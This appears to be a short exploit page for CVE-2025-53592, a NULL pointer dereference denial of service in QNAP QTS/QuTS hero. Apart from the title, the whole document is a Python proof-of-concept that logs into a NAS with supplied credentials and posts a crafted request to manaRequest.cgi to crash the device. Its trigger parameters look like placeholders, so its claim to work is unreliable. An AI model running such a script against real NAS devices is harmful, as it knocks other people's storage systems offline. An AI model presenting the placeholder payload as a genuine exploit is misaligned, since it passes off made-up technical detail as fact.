CVE-2025-53592 QNAP QTS/QuTS hero NULL指针解引用拒绝服务漏洞

# CVE-2025-53592 PoC - NULL Pointer Dereference in QNAP QTS/QuTS hero # Requires valid user credentials (low privilege account sufficient) import requests import sys def exploit_cve_2025_53592(target_url, username, password): """ Exploit for CVE-2025-53592: NULL Pointer Dereference DoS Target: QNAP NAS running vulnerable QTS/QuTS hero versions """ # Login to obtain authentication cookie login_url = f"{target_url}/cgi-bin/authLogin.cgi" login_data = { "username": username, "password": password } print(f"[*] Attempting authentication on {target_url}") session = requests.Session() response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Trigger NULL pointer dereference by sending crafted request # This targets the vulnerable function that doesn't check for NULL returns exploit_url = f"{target_url}/cgi-bin/management/manaRequest.cgi" # Crafted payload to trigger the vulnerability exploit_payload = { "func": "vuln_trigger_function", "event": "NULL_DEREF_TRIGGER", "sid": session.cookies.get_dict().get('NAS_SID', '') } print(f"[*] Sending exploit payload to trigger NULL pointer dereference...") response = session.post(exploit_url, data=exploit_payload) if response.status_code == 200: print("[+] Exploit sent - target may be experiencing DoS condition") return True else: print(f"[-] Exploit response: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://192.168.1.100 admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_53592(target, user, pwd)